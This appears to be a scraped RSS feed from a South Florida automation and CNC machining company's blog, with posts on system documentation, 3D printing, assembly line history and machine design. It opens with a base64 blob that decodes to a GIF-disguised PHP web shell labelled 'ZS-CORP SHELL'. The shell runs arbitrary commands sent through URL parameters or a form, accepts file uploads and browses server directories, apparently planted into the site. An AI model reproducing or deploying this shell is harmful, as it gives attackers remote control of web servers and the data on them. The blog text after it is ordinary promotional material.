R0lGODlhCjw/cGhwCkBlcnJvcl9yZXBvcnRpbmcoMCk7QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTtAc2V0X3RpbWVfbGltaXQoMCk7CmZ1bmN0aW9uIHpzX3J1bigkYyl7CmlmKCRjPT09JycpcmV0dXJuJyc7CiRjPSRjLicgMj4mMSc7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskbz1Ac2hlbGxfZXhlYygkYyk7aWYoJG8hPT1udWxsJiYkbyE9PScnKXJldHVybiAkbzt9Cm9iX3N0YXJ0KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXtAcGFzc3RocnUoJGMsJHgpOyRvPW9iX2dldF9jbGVhbigpO2lmKCRvIT09JycpcmV0dXJuICRvO29iX3N0YXJ0KCk7fQppZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCR4KTskbz1vYl9nZXRfY2xlYW4oKTtpZigkbyE9PScnKXJldHVybiAkbztvYl9zdGFydCgpO30KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpe0BleGVjKCRjLCRhLCR4KTskbz1pbXBsb2RlKCJcbiIsJGEpO2lmKCRvIT09JycpcmV0dXJuICRvO30KcmV0dXJuJ1tubyBvdXRwdXRdJzt9CiRhcGk9aXNzZXQoJF9HRVRbJ2NtZCddKT8kX0dFVFsnY21kJ106KGlzc2V0KCRfR0VUWydjJ10pPyRfR0VUWydjJ106KGlzc2V0KCRfR0VUWydjb21tYW5kJ10pPyRfR0VUWydjb21tYW5kJ106JycpKTsKaWYoJGFwaSE9PScnJiYhaXNzZXQoJF9QT1NUWydleGVjdXRlX2NtZCddKSl7QG9iX2NsZWFuKCk7ZWNobyJbUkNFX1NUQVJUXSI7ZWNobyB6c19ydW4oJGFwaSk7ZWNobyJbUkNFX0VORF0iO2V4aXQ7fQokZD1pc3NldCgkX0dFVFsnZCddKT9AcmVhbHBhdGgoJF9HRVRbJ2QnXSk6Z2V0Y3dkKCk7CmlmKCEkZCkkZD1nZXRjd2QoKTsKQGNoZGlyKCRkKTsKJGNtZF9vdXQ9Jyc7JGxhc3RfY21kPScnOwppZihpc3NldCgkX1BPU1RbJ2V4ZWN1dGVfY21kJ10pKXsKJGxhc3RfY21kPWlzc2V0KCRfUE9TVFsnY21kJ10pP3RyaW0oJF9QT1NUWydjbWQnXSk6Jyc7CiRjbWRfb3V0PXpzX3J1bigkbGFzdF9jbWQpO30KaWYoaXNzZXQoJF9GSUxFU1snZiddKSl7CiRuPWJhc2VuYW1lKCRfRklMRVNbJ2YnXVsnbmFtZSddKTsKaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sJG4pKXsKZWNobyI8ZGl2IHN0eWxlPSdjb2xvcjojMGYwO2JhY2tncm91bmQ6IzAwMWEwMDtib3JkZXI6MXB4IHNvbGlkICMwZjA7cGFkZGluZzo4cHg7bWFyZ2luOjEwcHggMCc+JiMxMDAwMzsgVXBsb2FkZWQ6IDxiPiRuPC9iPjwvZGl2PiI7Cn1lbHNlewplY2hvIjxkaXYgc3R5bGU9J2NvbG9yOiNmMDA7YmFja2dyb3VuZDojMWEwMDAwO2JvcmRlcjoxcHggc29saWQgI2YwMDtwYWRkaW5nOjhweDttYXJnaW46MTBweCAwJz4mIzEwMDA3OyBVcGxvYWQgZmFpbGVkPC9kaXY+IjsKfX0KZWNobyI8IURPQ1RZUEUgaHRtbD48aHRtbD48aGVhZD48dGl0bGU+WlMtQ09SUCBTSEVMTDwvdGl0bGU+PHN0eWxlPip7bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveH1ib2R5e2ZvbnQtZmFtaWx5OidDb3VyaWVyIE5ldycsbW9ub3NwYWNlO2JhY2tncm91bmQ6IzAwMDtjb2xvcjojMGYwO3BhZGRpbmc6MTVweH1he2NvbG9yOiMwZjA7dGV4dC1kZWNvcmF0aW9uOm5vbmV9YTpob3Zlcntjb2xvcjojMGZmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LmNvbnRhaW5lcnttYXgtd2lkdGg6MTIwMHB4O21hcmdpbjowIGF1dG87Ym9yZGVyOjJweCBzb2xpZCAjMGYwO3BhZGRpbmc6MTVweDtiYWNrZ3JvdW5kOiMwMDFhMDB9LmhlYWRlcnt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMGYwO3BhZGRpbmc6MTBweDttYXJnaW4tYm90dG9tOjE1cHh9LmhlYWRlciBoMXtjb2xvcjojMGYwO2ZvbnQtc2l6ZToyNHB4O3RleHQtc2hhZG93OjAgMCAxMHB4ICMwZjB9LnBhdGh7YmFja2dyb3VuZDojMDAzMzAwO3BhZGRpbmc6OHB4O21hcmdpbjoxMHB4IDA7Ym9yZGVyOjFweCBzb2xpZCAjMGYwO3dvcmQtYnJlYWs6YnJlYWstYWxsfS51cGxvYWQtZm9ybSwuY21kLWZvcm17YmFja2dyb3VuZDojMDAyMjAwO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IHNvbGlkICMwZjA7bWFyZ2luOjEwcHggMH0ucGFuZWwgaDJ7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7Y29sb3I6IzBmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMGYwO21hcmdpbjowIDAgMTBweDtwYWRkaW5nLWJvdHRvbTo4cHh9aW5wdXRbdHlwZT1maWxlXSxpbnB1dFt0eXBlPXRleHRde2JhY2tncm91bmQ6IzAwMWEwMDtjb2xvcjojMGYwO2JvcmRlcjoxcHggc29saWQgIzBmMDtwYWRkaW5nOjVweDttYXJnaW4tYm90dG9tOjVweH1pbnB1dFt0eXBlPXN1Ym1pdF0sYnV0dG9ue2JhY2tncm91bmQ6IzBmMDtjb2xvcjojMDAwO2JvcmRlcjpub25lO3BhZGRpbmc6OHB4IDIwcHg7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LWZhbWlseTonQ291cmllciBOZXcnLG1vbm9zcGFjZX1pbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXJ7YmFja2dyb3VuZDojMGZmfXRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO21hcmdpbi10b3A6MTBweH10aCx0ZHtwYWRkaW5nOjhweDt0ZXh0LWFsaWduOmxlZnQ7Ym9yZGVyOjFweCBzb2xpZCAjMGYwfXRoe2JhY2tncm91bmQ6IzAwMzMwMDtjb2xvcjojMGYwO2ZvbnQtd2VpZ2h0OmJvbGR9dHI6aG92ZXJ7YmFja2dyb3VuZDojMDAyMjAwfS5kaXJ7Y29sb3I6IzBmZn0uZmlsZXtjb2xvcjojMGYwfS5zaXple2NvbG9yOiMwOTB9LmluZm97Zm9udC1zaXplOjExcHg7Y29sb3I6IzA5MDttYXJnaW4tdG9wOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXJ9Lm91dHB1dHtiYWNrZ3JvdW5kOiMwMDA7Y29sb3I6IzBmMDtib3JkZXI6MXB4IHNvbGlkICMwZmY7cGFkZGluZzoxMHB4O21hcmdpbi10b3A6MTVweDt3aGl0ZS1zcGFjZTpwcmUtd3JhcDt3b3JkLWJyZWFrOmJyZWFrLWFsbH08L3N0eWxlPjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSdjb250YWluZXInPjxkaXYgY2xhc3M9J2hlYWRlcic+PGgxPiYjOTgzMDsgWlMtQ09SUCBTSEVMTCAmIzk4MzA7PC9oMT48cCBzdHlsZT0nZm9udC1zaXplOjExcHg7Y29sb3I6IzA5MCc+VkVOSSB8IFZJREkgfCBWSUNJPC9wPjxwIHN0eWxlPSdmb250LXNpemU6MTFweDtjb2xvcjojMDkwO21hcmdpbi10b3A6NnB4Jz4iOwplY2hvIGh0bWxzcGVjaWFsY2hhcnMoUEhQX1ZFUlNJT04uJyB8ICcucGhwX3VuYW1lKCkpOwplY2hvIjwvcD48L2Rpdj48ZGl2IGNsYXNzPSdwYXRoJz48Yj5DV0Q6PC9iPiAkZCI7CiRwYXJlbnQ9ZGlybmFtZSgkZCk7CmlmKCRwYXJlbnQhPSRkKWVjaG8iIHwgPGEgaHJlZj0nP2Q9Ii51cmxlbmNvZGUoJHBhcmVudCkuIic+W1BhcmVudCAmIzg1OTM7XTwvYT4iOwplY2hvIjwvZGl2PjxkaXYgY2xhc3M9J3VwbG9hZC1mb3JtJz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPiI7CmlmKGlzc2V0KCRfR0VUWydkJ10pKWVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnZCddLEVOVF9RVU9URVMpLiInPiI7CmVjaG8iPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2YnIHJlcXVpcmVkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdVUExPQUQgRklMRSc+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9J2NtZC1mb3JtIHBhbmVsJz48aDI+Q29tbWFuZCBDZW50ZXI8L2gyPjxmb3JtIG1ldGhvZD0ncG9zdCc+IjsKaWYoaXNzZXQoJF9HRVRbJ2QnXSkpZWNobyI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfR0VUWydkJ10sRU5UX1FVT1RFUykuIic+IjsKZWNobyI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyBzdHlsZT0nd2lkdGg6NzAlJyB2YWx1ZT0nIjtpZigkbGFzdF9jbWQhPT0nJyllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxhc3RfY21kLEVOVF9RVU9URVMpO2VjaG8iJyBwbGFjZWhvbGRlcj0nQ29tbWFuZC4uLicgYXV0b2ZvY3VzPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdleGVjdXRlX2NtZCcgdmFsdWU9J0V4ZWN1dGUnPjwvZm9ybT48L2Rpdj4iOwppZigkY21kX291dCE9PScnKWVjaG8iPGRpdiBjbGFzcz0nb3V0cHV0Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGNtZF9vdXQpLiI8L2Rpdj4iOwplY2hvIjx0YWJsZT48dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5QZXJtczwvdGg+PC90cj4iOwokaXRlbXM9QHNjYW5kaXIoJy4nKTsKaWYoJGl0ZW1zKWZvcmVhY2goJGl0ZW1zIGFzICRpdGVtKXsKaWYoJGl0ZW09PScuJyljb250aW51ZTsKJGZ1bGw9JGQuJy8nLiRpdGVtOwokaXNEaXI9QGlzX2RpcigkaXRlbSk7CiRjbGFzcz0kaXNEaXI/J2Rpcic6J2ZpbGUnOwokaWNvbj0kaXNEaXI/JyYjMTI4MTkzOyc6JyYjMTI4MTk2Oyc7CmlmKCRpdGVtPT0nLi4nKSRpY29uPScmIzExMDE0Oyc7CiRzaXplPSRpc0Rpcj8nRElSJzpAbnVtYmVyX2Zvcm1hdChAZmlsZXNpemUoJGl0ZW0pKS4nIEInOwokdGltZT1AZGF0ZSgnWS1tLWQgSDppJyxAZmlsZW10aW1lKCRpdGVtKSk7CiRwZXJtcz1Ac3Vic3RyKHNwcmludGYoJyVvJyxAZmlsZXBlcm1zKCRpdGVtKSksLTQpOwokbGluaz0kaXNEaXI/Ij9kPSIudXJsZW5jb2RlKCRmdWxsKTokaXRlbTsKZWNobyI8dHI+PHRkIGNsYXNzPSckY2xhc3MnPiRpY29uIDxhIGhyZWY9JyRsaW5rJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PC90ZD48dGQgY2xhc3M9J3NpemUnPiRzaXplPC90ZD48dGQ+JHRpbWU8L3RkPjx0ZD4kcGVybXM8L3RkPjwvdHI+IjsKfQplY2hvIjwvdGFibGU+PGRpdiBjbGFzcz0naW5mbyc+UG93ZXJlZCBieSBaUyBDT1JQIHwgVkVOSSB8IFZJREkgfCBWSUNJPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOwo/Pg== Automation Tech Support https://automationtechsupport.com/ Automation Tech Support Fri, 02 Aug 2019 19:25:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 The Most Underrated Aspect of Manufacturing Services http://automationtechsupport.com/the-most-underrated-aspect-of-manufacturing-services/ Sat, 27 Jul 2019 19:01:31 +0000 https://automationtechsupport.com/?p=565 So you’ve ordered a cost-effective custom machine or had an automation company build out a manufacturing line for you. Perhaps you’re in need of some CNC machining services and upon receiving your product, are confused about the construction, or some of the technical aspects of...

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So you’ve ordered a cost-effective custom machine or had an automation company build out a manufacturing line for you. Perhaps you’re in need of some CNC machining services and upon receiving your product, are confused about the construction, or some of the technical aspects of any related software. If the system documentation provided is poorly written or incomplete, you’re forced to call the company and waste precious time that could’ve been spent on growing your business or completing work that needs to be done.

What is System Documentation?

System documentation is a collection of reference texts that pertain to the operation and maintenance of a machine or software solution. This is especially important in the automation and manufacturing fields where the different parts and aspects of a machine must always be in harmony with one another so that the machine runs as efficiently as it possibly can. Consider that any downtime in a machine often equates to a loss of profit for businesses as total output and efficiency take a hit—not only due to the machine being out of commission but also due to the time and resources invested that are required to fix it.

The Virtues of Good System Documentation

System documentation is one of those things wherein many cases, by the time it is being referenced, there are issues that need to be resolved with the maintenance or performance of the machine or software in question. This is why you so often hear tales of poor system documentation, because, at the time of obtaining the “solution” or machine, it was not readily needed.

Good system documentation will detail many user case exceptions, that is, what to do when a specific issue arises. System documentation for machines will often include a list of components, what the components are made up of and what are the best practices for maintaining part integrity over the course of the machine’s lifetime. Typically, something called a bill of materials is included with the product/documentation so that companies know exactly what amount of labor went into the assembly of the product and the parts that were required—this is often a good explanation for the invoiced amount that it cost to produce the product.

Most importantly—especially when involving complex automation and machining, the system documentation should provide useful diagrams and information such as what spare parts are provided. When it comes to automation and machinery, the most critical part of maintenance is knowing how to service and replace specific parts that are causing the entire line to shut down or be less efficient.

Assembly Machine Design South FL

Automation Tech Support is a full-service tool engineering company. We can design and build any type of assembly or manufacturing/equipment used for machining. We pride ourselves on our robust system documentation practices for our clients. When you order from us, you’re not just getting a well-oiled machine that does what it’s supposed to do, you’re also getting a highly detailed bill of materials and documentation that outlines every component used in the construction of the machine so that your maintenance department has all the information they need to ensure that the product works well throughout its lifetime. We also provide a spare parts list so you don’t end up wasting money on a part you already paid for once.

If you’re interested in custom machines and cost-effective assembly lines, contact us at 561-737-3577!

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How 3D Printing Has Affected the Manufacturing Industry http://automationtechsupport.com/how-3d-printing-has-affected-the-manufacturing-industry/ Fri, 28 Jun 2019 19:13:39 +0000 https://automationtechsupport.com/?p=561 The 3D printing boom has resulted in a $6.063 billion industry that is split amongst a wide variety of industries—one of those is of course, manufacturing. 3D Printing Manufacturing Uses 3D printers are highly useful tools to prototype designs and see them in real time...

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The 3D printing boom has resulted in a $6.063 billion industry that is split amongst a wide variety of industries—one of those is of course, manufacturing.

3D Printing Manufacturing Uses

3D printers are highly useful tools to prototype designs and see them in real time very quickly. Imagine that you are a manufacturing company selling a product and perhaps you’re new to the game and want to expand out into some test markets first. 3D Printing can help you design and develop a prototype to put out into a test phase to gauge market interest. It can do this with less cost than when done through traditional manufacturing means.

This is a boon for b2b manufacturing businesses that handle large scale production because customers who have tested their own prototypes can be more confident about purchasing bulk orders and moving forward with larger batch production. For many businesses, it’s having the confidence in their product to go through with full assembly/automation which ends up being a sticking point. 3D printing helps mitigate buyer’s remorse by allowing for a quicker and less costly iterative process.

3D Printing is an Additive Process

In traditional manufacturing, it is said that a subtractive process is used. Raw materials are cut up and repurposed into a specific form through processing. The leftover material is much like a piece of construction paper that had shapes cut out of it. It is still useful material, but it must be broken down and reintegrated back into a useful form. Naturally, in processes like these there can be a substantial energy and time cost to recycling materials to be useful again.

With 3D Printing, this isn’t the case. It is a highly precise process in which whatever is designed is done so with a specific amount of materials in mind. There is far little—if any at all, waste. Processing time tends to be shorter as well. The downside to 3D Printing is that the printers themselves can be expensive. Large 3D printers have a high initial start-up cost, but the ROI is dramatically better for many industries depending on the scale of the operation.

A Greener Manufacturing Method

Because of the outlined additive manufacturing method, 3D printing is a greener practice with a smaller energy footprint. Many industries that require precisely tuned, small parts are benefitting from 3D printing and the environment benefits as well, as the reduced energy costs are trickling down into lower carbon emissions.

Full-Service Automation and Manufacturing in South FL

Automation Tech Support is a leader in robotic automation and manufacturing assembly services. We aid businesses with both small and large-scale productions. 3D Printing has allowed many businesses to experiment with prototypes and rapidly iterate through the creative process of making a product worth bringing to market. However, if that’s all it took to manufacture a product then there’d be no need for manufacturing experts.

At Automation Tech Support, we can build automation to run your manufacturing line and our experts will monitor and control the quality of the product to whatever your standards are. We can package and ship straight to the end user or facility.

Get in touch with us through our contact page so you can start production on your vision right now!

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The Evolution of Assembly Lines http://automationtechsupport.com/the-evolution-of-assembly-lines/ Tue, 14 May 2019 15:36:38 +0000 https://automationtechsupport.com/?p=536 Assembly Lines have come a very long way; from Henry Ford to artificial intelligence and machine learning, assembly automation has gone through a transformative period over the last century. The assembly line is one of the greatest advancements in technology and has radically changed the...

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Assembly Lines have come a very long way; from Henry Ford to artificial intelligence and machine learning, assembly automation has gone through a transformative period over the last century. The assembly line is one of the greatest advancements in technology and has radically changed the way that many important things – such as cars, mechanical parts, computers, planes, etc. – are made. The evolution of assembly automation is exciting and interesting to see; we’ll take a brief look at the history of assembly lines and what is on the horizon for future technologies.

The Evolution of Assembly Automation

While Ford is often credited with the first automotive assembly line, a more fitting title would have to be “the father of mass-produced automobiles”. The first automotive assembly line actually came from Ransom Olds – the Oldsmobile brand – in 1901. This new manufacturing and assembly process allowed Olds’ output to increase by 500% in one year, with nearly 20 cars rolling off the line each day. For this time, this level of production was unheard of.

Ford Model T

Unfortunately for Olds, Henry Ford dramatically improved upon this idea by utilizing a series of moving platforms, otherwise known as a conveyor system. The vehicle was towed by a rope attached to the chassis of each vehicle, which allowed workers at each station to quickly assemble the parts they were responsible. This method allowed production of a Model T in about 90 minutes; during one of Ford’s best years using this method, about two million automobiles rolled off of the assembly line.

The Importance of Assembly Lines

There are a number of reasons why assembly lines are so important and beneficial to society. For starters, before assembly lines, workers were often tasked with the same, repetitive, and mundane task for hours upon hours each day. This led to a large degree of worker dissatisfaction and mental drudgery. From a manufacturer’s standpoint, the worker’s physical and mental degradation inevitably leads to decreased work output and productivity. Worker dissatisfaction led to innovations in the field, such as Olds’ and Ford’s assembly lines, as well as the nearly fully-automated assembly lines we see today.

This increase in technology, despite what many say, has actually led to an increase in the skill of plant workers and the number of jobs available in the sector. For example, the company Rethink Robotics designed a robot named Baxter, which is a low-cost and user-friendly machine capable of operating at $3 an hour and vastly improving efficiency and work productivity. Technology like this has led to the creation of 3-5 million new jobs and has allowed the U.S. to be about 3 times as efficient and productive as China. Workers are now, instead of being trained in short, repetitive, and mundane tasks, being trained in the complex operation, maintenance, and design of these sophisticated systems.

automotive assembly line
3d rendering of robot assembly line in car factory

Innovations in Assembly Lines

Artificial intelligence and machine learning continue to be implemented into existing assembly system architecture to further improve upon old technology. Machine learning is simply the study of models and algorithms that can be implemented into computer systems; these algorithms attempt to teach a machine a specific task with specific instructions; rather, the machine must rely on inference and patterns instead.  

Traditionally, each automated machine in an assembly line has a specific instruction – or task – to be performed. Each machine must be programmed for a specific instruction, such as drilling a hole, punching a rivet, etc. With machine learning and artificial intelligence, the end result of a task can be programmed, such as the size and depth of a drilled hole; then, the machine will decide which drill-bit to use, how far to drill the hole, and calculate the drill speed by itself. As we continue to move through time, fully automated assembly lines will become more and more commonplace and effective.

Assembly Machine Design South Florida

Automation Tech Support is a full-service machine design facility in Boynton Beach, Florida. We can create anything from small fixtures to full-on automated assembly systems. If you need a CNC machining service in South Florida, don’t hesitate to reach out. We are here for all your machine services. Automation Tech Support is a Full-service tool engineering company that can completely design and build any type of automated assembly machines/systems involving complex robotic automation and the latest in CNC machining technology. Give us a call at (561) 286-7417 or visit our contact page to get in touch with our team.

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What is Machine Design?  http://automationtechsupport.com/what-is-machine-design-%ef%bb%bf/ Wed, 17 Apr 2019 17:44:22 +0000 https://automationtechsupport.com/?p=526 Machine design is the art and science of fabricating mechanical engineering for new machinery and system development. Mechanical design requires a thorough understanding of scientific principles, a creative imagination, and sound engineering techniques to economically construct a machine or structure that satisfies the unique needs...

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Machine design is the art and science of fabricating mechanical engineering for new machinery and system development. Mechanical design requires a thorough understanding of scientific principles, a creative imagination, and sound engineering techniques to economically construct a machine or structure that satisfies the unique needs and requirements of a client.

For example, if an engineer decides to design a new engine for a plane or car, there are a number of special considerations that must be measured into the final end-product. There are a number of thoughts that go into the design of new technology:

  • How is the machine going to be used?
  • What loads will the machine be subjected to?
  • What temperatures will the material be exposed to?
  • How can an old or existing model of the proposed machine be improved upon?
  • What are the weight, size, and height requirements?
  • What is the budget of the proposed item?
  • How long is the proposed life expectancy of the machine?

Answering these questions can help guide the engineer when fabricating the machine. Certain materials are more flexible than others; certain materials can handle much higher loads and temperatures. This whole process of special consideration when developing a new machine is what we call machine design.

gears

Considerations in Machine Design

The basic principles of machine design are easy to read, but hard to master and apply. Mechanical behavior of a machine may include considerations in the areas of fatigue, reliability, the strength required by the materials, dynamics, statics, and the vibrations required of the machine.

How is the machine going to be produced? What are the manufacturing processes that will be required? Computerized Numerical Control, life cycle analysis, engineering statistics, ergonomics, and quality control are all important factors when considering the production of a machine.

The third and final area when considering the basic principles of machine design relate to the mechanical elements that will go into the machine. This can include bearings, couplings, seals, springs, fasteners, gears, and so on… Each piece of the mechanical puzzle must be analyzed and designed to prevent any and all possible malfunctions and potential failures due to weight load limit etc.

Maintenance in Mind

Once a machine has been fabricated, built, and tested, the machine will enter the operational phase of its life. An experienced mechanical engineer will have thought about the next step in machine design: maintenance. New technology can improve the overall work capacity and output, but if the machine is next to impossible to repair efficiently and economically, then it is doing no one any favors in the long run. Tooling will wear out, breakdowns will occur, and maintenance is a necessary step in any and all machine manufacturing processes; however, with the right design in place, maintenance does not have to be a constant worry in the mind of the operator. This is why we believe that you should always do it right, from the start.

Machine Design South Florida

Building a machine that meets a customer’s expectation is a given; an experienced machinist will easily be able to exceed the client’s proposed product lifecycle. By using widely-available, reliable, commercial components and a thorough maintenance manual and procedure, machine downtime can be effectively cut in half. The end goal is reduced downtime, less scheduled maintenance, and improved work capacity and efficiency without sacrificing the safety of the operator or reliability of the machine.

Advanced machines even have the capability of monitoring and diagnosing the issues that develop within their own architecture to ensure a steady and reliable flow of efficiency. Automation Tech Support believes that maintenance should not be a reactive approach; rather, maintenance should be performed at safe, regular intervals to ensure machine safety and reliability.

At Automation Tech Support, we design machines that maximize the production mean time between maintenance and minimize the time that is needed to repair our machines. We are here to assist you with any fixture manufacturing, custom machining, or CNC machining services. From simple fixtures to full-on automated assembly systems, we are your go-to machine shop in South Florida.

Give us a call at 561-737-3577 or click here to visit our contact page.

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A History of Assembly Automation http://automationtechsupport.com/a-history-of-assembly-automation/ Fri, 22 Mar 2019 17:20:34 +0000 https://automationtechsupport.com/?p=514 Assembly automation has allowed an increase in workload and production output when compared to manual processes. The manufacturing industry is especially labor-intensive; the use of automation, assembly lines, and machining has resulted in improved efficiency, better product duplication, decreased worker stress levels, and savings in...

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Assembly automation has allowed an increase in workload and production output when compared to manual processes. The manufacturing industry is especially labor-intensive; the use of automation, assembly lines, and machining has resulted in improved efficiency, better product duplication, decreased worker stress levels, and savings in labor, costs, and unneeded material waste.

Assembly automation – also known as assembly lines – is used by a countless number of industries to improve production times and reduce costs. The automobile industry uses automation extensively, with robots performing most of the duties that were originally done by hand; this includes spray painting, parts manufacturing, spot welding, and every process in-between.

A History of Assembly Lines

Production lines started to take off during the first two decades of the 1900s. In 1913, Ford Motor Company began to use assembly lines in a newly built factory for their car manufacturing process. Before the assembly line, each car had to be made by a number of skilled/unskilled workers by hand. The production line cut the number of hours spent assembling a car from 12 to 3. Eventually, this number was cut down to one car every 1.5 hours. With business booming, it boosted Ford’s production rates, profits, and reputation. Ford was very altruistic, and offered his workers increased amounts of pay as well.

The 1930s saw assembly line innovation from Japan, a nation that was at the forefront of developing technology for use in assembly automation. Japan introduced micro-switches, protective relays, and highly accurate electrical timers to the assembly line. During the Second World War, this technology was put to use in the production of aircraft, landing craft, warships, tanks, fighter aircraft, and other military vehicles.

The 1950s: A History of Production Lines

After Japan’s surrender in 1945, the industrial rebuilding program – assisted by the United States – brought superior technology and assembly automation to the defeated nation. This technology spawned motor giants such as Toyota, Honda, and Nissan; high standards were soon coupled with realistic prices that could not be matched with other automobile companies in competing territories. This solidified Japan as an automobile giant, with their automobiles and goods being exported worldwide today.

Precision Machining and Assembly Automation at Your Fingertips

Automation Tech Support is a leader in robotic automation and precision CNC machining. Located in Boynton Beach, FL, we assist both small and large-scale productions with their fixture manufacturing and custom machining needs. Our expert machine manufacturers and programmers are able to create everything from full-on automated assembly systems to simple fixtures for small product duplication. Looking for a CNC machining service near you? Don’t hesitate to call Automation Tech Support for the design, manufacture, assembly, installation, maintenance, and repair of all things automated.

We are here for all your machine services. Automation Tech Support is a Full-service tool engineering company that can completely design and build any type of automated assembly machines/systems involving complex robotic automation and the latest in CNC machining technology. Give us a call at (561) 737-3577 or visit our contact page to get in touch with our team.

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The History of CNC Machining http://automationtechsupport.com/the-history-of-cnc-machining%ef%bb%bf/ Fri, 22 Feb 2019 19:22:04 +0000 https://automationtechsupport.com/?p=506 The history of CNC machining developed in the 1940s and 1950s, with the first CNC machines relying heavily on the most common telecommunication data storage of the time; this technology was known as “perforated paper tape” or “punched tape”. This technology is now long-obsolete as...

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The history of CNC machining developed in the 1940s and 1950s, with the first CNC machines relying heavily on the most common telecommunication data storage of the time; this technology was known as “perforated paper tape” or “punched tape”. This technology is now long-obsolete as data mediums transitioned from analog to digital computer processing in the 1950s-60s. The machines during the 1940s-50s followed the instructions of the specific points that were fed into the machine on punched tape.

The first CNC Machine was said to belong to the Parsons Corporation in Travers City, Michigan. This system used punched tape to produce templates for helicopter blades. In 1942, John Parsons calculated airfoil coordinates on an IBM 602A data multiplier and then fed the data points into a Swiss jig borer. This was considered the first CNC machine as the system read and produced manufactured goods based on preprogrammed information.

During the 1960s, CNC machining began to make the switch from analog technology to digital software and computer-controlled devices. During the 1960s, relays and electronic tubes were replaced with transistors, and integrated circuits replaced punched tape.

What Does CNC Stand for in Machining?

Machines that operate with Computer Numerical Control are electro-mechanical devices used to manipulate machine shop tools using specific computer programming inputs. CNC machining is one of the most popular methods for generating prototypes from a digital software file. The other most popular method would have to be 3D printing technology, such as SLS/SLM, SLA, and FDM.

CNC machining, in general, helps transform stock pieces of materials (such as a brick of steel or plastic) into a finished product. CNC relies on inputted computer data to instruct the machine how to cut the prototype parts. By automating your machine tools, it rapidly improves shop productivity and improves bottom line costs. Many materials can be used, but the most common types of materials are brass, aluminum, copper, steel, wood, foam, titanium, fiberglass, and various types of plastics such as polypropylene.

What to Look for in a CNC Machining Provider

Choosing a reputable machining and tool engineering company is your first step when looking to automate your assembly line or production line. Look for a strong track record of experience, references, customer support, and short turn-around times. An experienced company will be able to provide multiple references and examples of their work without reservation. For any metal fabrication or machining organization, there will be a host of important licensing considerations and important regulatory facets that a machine shop should keep in mind. At Automation Tech Services, we have a strong safety protocol and follow all relevant federal regulations. There will be no delay in our high-quality service due to procedural reasons.

Advantages of CNC Machining

There are many reasons as to why CNC machining is so popular. Since the fabrication of the product is completely automated when the CNC machine is in use, the operator faces less risk of injury and increases the level of safety of the shop workers. CNC machining is cost-effective because it reduces waste with increased accuracy, which minimizes losses and improves profits. CNC machining is also incredibly fast when compared to hand-fashioning a product, which results in increased workload and productivity. CNC machines are also built with feature and failure detectors for internal quality assurance, which cuts down on raw material use and increases efficiency.

CNC Machining Near me

Automation Tech Support offers the best in CNC machining in Boynton Beach, Florida. We are a full-service tool engineering company that specializes in fully automated manufacturing lines; we can run your manufacturing line at our facility while we monitor and control the quality of your product and build custom, cost-effective machines for any type of assembly. Our CNC machines are equipped to manufacture custom parts from CAD files that you provide or designs that we make ourselves; we can run as many parts as required through milling, turning, and grinding. If you have any questions about our services or would like to get in touch, call us at (561) 737-3577 or visit our services page.    

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CNC Machining Overview http://automationtechsupport.com/cnc-machining-overview/ http://automationtechsupport.com/cnc-machining-overview/#comments Tue, 15 Jan 2019 16:56:14 +0000 https://automationtechsupport.com/?p=485 The process of computer numerical control (CNC) machining combines heavy machinery and complex computer software to control the movements of factory tools and machinery to produce specific components. This manufacturing process allows automated control of various machining tools (lathes, drills, etc.) through the use of...

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The process of computer numerical control (CNC) machining combines heavy machinery and complex computer software to control the movements of factory tools and machinery to produce specific components. This manufacturing process allows automated control of various machining tools (lathes, drills, etc.) through the use of a computer to provide a precise machining solution that is vastly superior to manual control in terms of lucidity and productivity.

Generally, CNC machines employ a motorized maneuverable tool and a motorized platform to produce many different types of material. This can range from computer parts and aircraft components to wire-bending and wood-cutting machines. The application of this technology is far-reaching and the use of these types of systems has been steadily increasing in America’s manufacturing sector in the past two decades.

The Usefulness of CNC systems

CNC systems offer large computational potential and are controlled by a programming language known as G-Code. This language dictates the movement of the machinery and factory tools involved. A few of these elements include feed rate, coordination, drilling functions and speed of the machinery.

